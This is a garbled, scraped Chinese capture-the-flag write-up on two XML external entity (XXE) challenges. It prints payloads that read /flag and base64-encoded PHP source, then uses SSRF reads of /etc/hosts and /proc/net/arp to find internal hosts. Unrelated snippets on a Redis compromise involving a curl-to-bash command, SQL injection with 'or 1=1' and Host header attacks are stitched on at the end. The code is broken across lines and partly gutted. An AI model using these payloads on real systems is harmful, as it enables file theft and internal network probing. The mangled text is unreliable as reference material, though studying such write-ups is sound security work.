f12 檢視原始碼:
;}可以看到傳輸的資料是xml型別
payload打一下:
<?xml version=
"1.0" encoding=
"utf-8"
?>
<
!doctype any [
<
!entity xxe system
"file:///flag"
>
]>
&xxe;
<
/username>
111<
/password>
<
/user>
首先嘗試直接讀/flag檔案,回顯了報錯資訊,但是發現可以讀dologin檔案:
<?xml version=
"1.0" encoding=
"utf-8"
?>
<
!doctype any[
<
!entity file system
"php://filter/read=convert.base64-encode/resource=/var/www/html/dologin.php"
>
]>
&file;
<
/username>
1<
/password>
<
/user>
得原始碼:
<?php \n
/*** autor: c0ny1\n* date: 2018-2-7
*/$username
='admin'
;//\xe8\xb4\xa6\xe5\x8f\xb7
$password
='024b87931a03f738fff6693ce0a78c88'
;//\xe5\xaf\x86\xe7\xa0\x81
$result
=null
;libxml_disable_entity_loader
(false);
$xmlfile
=file_get_contents
('php://input');
tryelse
}catch
(exception $e
)header
('content-type: text/html; charset=utf-8');
echo
$result
;?>
最終是利用ssrf讀內網檔案:
// /etc/hosts
127.0
.0.1 localhost::
1 localhost ip6-localhost ip6-loopback
fe00:
:0 ip6-localnet
ff00:
:0 ip6-mcastprefix
ff02:
:1 ip6-allnodes
ff02:
:2 ip6-allrouters
173.17
.80.9 osrc
內網ip,173.17.80.9
//
/proc/net/arp
ip address hw type flags hw address mask device
173.17.80.2 0x1 0x2 02:42:ad:11:50:02 * eth0
173.17.80.12 0x1 0x2 02:42:ad:11:50:0c * eth0
最後試了173.17.80.10可以得flag
前面是jwt爆破得到秘鑰123456偽造user使用者就不說了,之後是乙個登入框,和上面兩個題目差不多,dologin()方法相同,題目根目錄下有flag.php。用xxe讀取檔案
讀取/var/www/html是因為這是apache預設根目錄base64解碼即可
某個(忘了)比賽的兩道xml
redis漏洞防攻擊
redis伺服器遭攻擊,症狀 1.redis中的快取資料每10分鐘全部被清 2.許多目錄下多了root檔案和一堆隱藏檔案 3.redis多了三個key backup1 backup2 backup3 key值對應的內容如下 backup1 2 curl s cmd bash cmd backup2 ...
SQL注入漏洞攻擊
登陸判斷 select from t users where username and password 將引數拼到sql語句中。構造惡意的password or 1 1 if reader.read response.write 登入成功!else response.write 登入失敗!防範注入...
http host頭攻擊漏洞
為了方便的獲得 網域名稱,開發人員一般依賴於http host header。例如,在php裡用 server http host 但是這個header是不可信賴的,如果應用程式沒有對host header值進行處理,就有可能造成惡意 的傳入。web應用程式應該使用server name而不是hos...